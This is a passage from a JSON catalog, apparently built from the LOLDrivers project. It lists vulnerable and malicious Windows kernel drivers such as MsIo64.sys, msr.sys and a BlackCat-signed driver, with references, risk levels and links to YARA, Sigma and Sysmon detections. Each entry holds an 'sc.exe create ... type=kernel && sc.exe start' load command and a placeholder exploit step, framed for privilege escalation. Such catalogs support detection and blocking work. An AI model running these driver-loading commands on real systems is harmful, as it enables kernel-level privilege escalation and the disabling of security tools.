      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mimikatz",
    "name": "mimikatz.sys",
    "namespace": "windows:kernel:mimikatz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mJj0ge.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mJj0ge.sys type=kernel && sc.exe start mJj0ge.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mJj0ge.sys\"\n\n# mJj0ge.sys\n\nThe criminals signed their AV-killer malware, closely related to one known as BURNTCIGAR, with a legitimate WHCP certificate\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mjj0ge.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The criminals signed their AV-killer malware, closely related to one known as BURNTCIGAR, with a legitimate WHCP certificate",
    "execution": {
      "template": "sc.exe create mJj0ge.sys binPath=C:\\windows\\temp\\mJj0ge.sys type=kernel && sc.exe start mJj0ge.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-mjj0ge",
    "install": [
      {
        "method": "custom",
        "description": "Load mJj0ge.sys kernel driver",
        "commands": [
          "sc.exe create mJj0ge.sys binPath=C:\\windows\\temp\\mJj0ge.sys type=kernel && sc.exe start mJj0ge.sys"
        ]
      }
    ],
    "name": "mJj0ge.sys",
    "namespace": "windows:kernel:mjj0ge",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mlgbbiicaihflrnh.sys binPath=C:\\\\windows\\\\temp\\\\mlgbbiicaihflrnh.sys type=kernel && sc.exe start mlgbbiicaihflrnh.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mlgbbiicaihflrnh.sys\"\n\n# mlgbbiicaihflrnh.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mlgbbiicaihflrnh.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mlgbbiicaihflrnh",
    "name": "mlgbbiicaihflrnh.sys",
    "namespace": "windows:kernel:mlgbbiicaihflrnh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Mnemosyne binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Mnemosyne.sys type=kernel && sc.exe start Mnemosyne\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Mnemosyne.sys\"\n\n# Mnemosyne.sys\n\nMnemosyne.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mnemosyne.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Mnemosyne.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Mnemosyne binPath=C:\\windows\\temp\\Mnemosyne.sys type=kernel && sc.exe start Mnemosyne",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-mnemosyne",
    "install": [
      {
        "method": "custom",
        "description": "Load Mnemosyne.sys kernel driver",
        "commands": [
          "sc.exe create Mnemosyne binPath=C:\\windows\\temp\\Mnemosyne.sys type=kernel && sc.exe start Mnemosyne"
        ]
      }
    ],
    "name": "Mnemosyne.sys",
    "namespace": "windows:kernel:mnemosyne",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Monitor_win10_x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Monitor_win10_x64.sys     type=kernel && sc.exe start Monitor_win10_x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Monitor_win10_x64.sys\"\n\n# Monitor_win10_x64.sys\n\nCVE-2018-16712\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-monitor-win10-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "CVE-2018-16712",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Monitor_win10_x64.sys binPath=C:\\windows\\temp\\Monitor_win10_x64.sys     type=kernel && sc.exe start Monitor_win10_x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-monitor-win10-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load Monitor_win10_x64.sys kernel driver",
        "commands": [
          "sc.exe create Monitor_win10_x64.sys binPath=C:\\windows\\temp\\Monitor_win10_x64.sys     type=kernel && sc.exe start Monitor_win10_x64.sys"
        ]
      }
    ],
    "name": "Monitor_win10_x64.sys",
    "namespace": "windows:kernel:monitor-win10-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html"
      },
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/244386-mta-fairplaykd-driver-reversed-exploited-rpm.html"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create MsIo32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\MsIo32.sys type=kernel && sc.exe start MsIo32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver MsIo32.sys\"\n\n# MsIo32.sys\n\nThe MsIo64.sys and MsIo32.sys drivers in Patriot Viper RGB before 1.1 allow local users (including low integrity processes) to read and write to arbitrary memory locations, and consequently gain NT AUTHORITY\\SYSTEM privileges, by mapping \\Device\\PhysicalMemory into the calling process via ZwOpenSection and ZwMapViewOfSection.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-msio32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The MsIo64.sys and MsIo32.sys drivers in Patriot Viper RGB before 1.1 allow local users (including low integrity processes) to read and write to arbitrary memory locations, and consequently gain NT AUTHORITY\\SYSTEM privileges, by mapping \\Device\\PhysicalMemory into the calling process via ZwOpenSection and ZwMapViewOfSection.",
    "execution": {
      "template": "sc.exe create MsIo32.sys binPath=C:\\windows\\temp\\MsIo32.sys type=kernel && sc.exe start MsIo32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-msio32",
    "install": [
      {
        "method": "custom",
        "description": "Load MsIo32.sys kernel driver",
        "commands": [
          "sc.exe create MsIo32.sys binPath=C:\\windows\\temp\\MsIo32.sys type=kernel && sc.exe start MsIo32.sys"
        ]
      }
    ],
    "name": "MsIo32.sys",
    "namespace": "windows:kernel:msio32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845"
      },
      {
        "label": "Reference",
        "url": "http://blog.rewolf.pl/blog/?p=1630"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create MsIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\MsIo64.sys type=kernel && sc.exe start MsIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver MsIo64.sys\"\n\n# MsIo64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-msio64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create MsIo64.sys binPath=C:\\windows\\temp\\MsIo64.sys type=kernel && sc.exe start MsIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-msio64",
    "install": [
      {
        "method": "custom",
        "description": "Load MsIo64.sys kernel driver",
        "commands": [
          "sc.exe create MsIo64.sys binPath=C:\\windows\\temp\\MsIo64.sys type=kernel && sc.exe start MsIo64.sys"
        ]
      }
    ],
    "name": "MsIo64.sys",
    "namespace": "windows:kernel:msio64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create MSqPq.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\MSqPq.sys type=kernel && sc.exe start MSqPq.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver MSqPq.sys\"\n\n# MSqPq.sys\n\nBlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-msqpq.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BlackCat Ransomware Deploys New Signed Kernel Driver. BlackCat ransomware incident that occurred in February 2023.",
    "execution": {
      "template": "sc.exe create MSqPq.sys binPath=C:\\windows\\temp\\MSqPq.sys type=kernel && sc.exe start MSqPq.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-msqpq",
    "install": [
      {
        "method": "custom",
        "description": "Load MSqPq.sys kernel driver",
        "commands": [
          "sc.exe create MSqPq.sys binPath=C:\\windows\\temp\\MSqPq.sys type=kernel && sc.exe start MSqPq.sys"
        ]
      }
    ],
    "name": "MSqPq.sys",
    "namespace": "windows:kernel:msqpq",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create msr.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\msr.sys type=kernel && sc.exe start msr.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver msr.sys\"\n\n# msr.sys\n\nIdentified on the MSFT Driver Block list, non-admin can write MSR. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-msr.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Identified on the MSFT Driver Block list, non-admin can write MSR. ",
    "execution": {
      "template": "sc.exe create msr.sys binPath=C:\\windows\\temp\\msr.sys type=kernel && sc.exe start msr.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-msr",
    "install": [
      {
        "method": "custom",
        "description": "Load msr.sys kernel driver",
        "commands": [
          "sc.exe create msr.sys binPath=C:\\windows\\temp\\msr.sys type=kernel && sc.exe start msr.sys"
        ]
      }
    ],
    "name": "msr.sys",
    "namespace": "windows:kernel:msr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/wdormann/status/1699878227261411699"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create msrhook.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\msrhook.sys type=kernel && sc.exe start msrhook.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver msrhook.sys\"\n\n# msrhook.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-msrhook.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create msrhook.sys binPath=C:\\windows\\temp\\msrhook.sys type=kernel && sc.exe start msrhook.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-msrhook",
    "install": [
      {
        "method": "custom",
        "description": "Load msrhook.sys kernel driver",
        "commands": [
          "sc.exe create msrhook.sys binPath=C:\\windows\\temp\\msrhook.sys type=kernel && sc.exe start msrhook.sys"
        ]
      }
    ],
    "name": "msrhook.sys",
    "namespace": "windows:kernel:msrhook",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mst binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mst.sys type=kernel && sc.exe start mst\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mst.sys\"\n\n# mst.sys\n\nmst.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mst.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "mst.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create mst binPath=C:\\windows\\temp\\mst.sys type=kernel && sc.exe start mst",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-mst",
    "install": [
      {
        "method": "custom",
        "description": "Load mst.sys kernel driver",
        "commands": [
          "sc.exe create mst binPath=C:\\windows\\temp\\mst.sys type=kernel && sc.exe start mst"
        ]
      }
    ],
    "name": "mst.sys",
    "namespace": "windows:kernel:mst",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mtcBSv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mtcBSv64.sys type=kernel && sc.exe start mtcBSv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mtcBSv64.sys\"\n\n# mtcBSv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mtcbsv64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create mtcBSv64.sys binPath=C:\\windows\\temp\\mtcBSv64.sys type=kernel && sc.exe start mtcBSv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-mtcbsv64",
    "install": [
      {
        "method": "custom",
        "description": "Load mtcBSv64.sys kernel driver",
        "commands": [
          "sc.exe create mtcBSv64.sys binPath=C:\\windows\\temp\\mtcBSv64.sys type=kernel && sc.exe start mtcBSv64.sys"
        ]
      }
    ],
    "name": "mtcBSv64.sys",
    "namespace": "windows:kernel:mtcbsv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mtxC9CB binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mtxC9CB.sys type=kernel && sc.exe start mtxC9CB\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mtxC9CB.sys\"\n\n# mtxC9CB.sys\n\nmtxC9CB.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mtxc9cb.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "mtxC9CB.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create mtxC9CB binPath=C:\\windows\\temp\\mtxC9CB.sys type=kernel && sc.exe start mtxC9CB",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-mtxc9cb",
    "install": [
      {
        "method": "custom",
        "description": "Load mtxC9CB.sys kernel driver",
        "commands": [
          "sc.exe create mtxC9CB binPath=C:\\windows\\temp\\mtxC9CB.sys type=kernel && sc.exe start mtxC9CB"
        ]
      }
    ],
    "name": "mtxC9CB.sys",
    "namespace": "windows:kernel:mtxc9cb",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mtxmem binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mtxmem.sys type=kernel && sc.exe start mtxmem\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mtxmem.sys\"\n\n# mtxmem.sys\n\nmtxmem.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mtxmem.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "mtxmem.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create mtxmem binPath=C:\\windows\\temp\\mtxmem.sys type=kernel && sc.exe start mtxmem",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-mtxmem",
    "install": [
      {
        "method": "custom",
        "description": "Load mtxmem.sys kernel driver",
        "commands": [
          "sc.exe create mtxmem binPath=C:\\windows\\temp\\mtxmem.sys type=kernel && sc.exe start mtxmem"
        ]
      }
    ],
    "name": "mtxmem.sys",
    "namespace": "windows:kernel:mtxmem",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create My.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\My.sys type=kernel && sc.exe start My.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver My.sys\"\n\n# My.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-my.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create My.sys binPath=C:\\windows\\temp\\My.sys type=kernel && sc.exe start My.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-my",
    "install": [
      {
        "method": "custom",
        "description": "Load My.sys kernel driver",
        "commands": [
          "sc.exe create My.sys binPath=C:\\windows\\temp\\My.sys type=kernel && sc.exe start My.sys"
        ]
      }
    ],
    "name": "My.sys",
    "namespace": "windows:kernel:my",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mydrivers.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mydrivers.sys type=kernel && sc.exe start mydrivers.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mydrivers.sys\"\n\n# mydrivers.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mydrivers.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
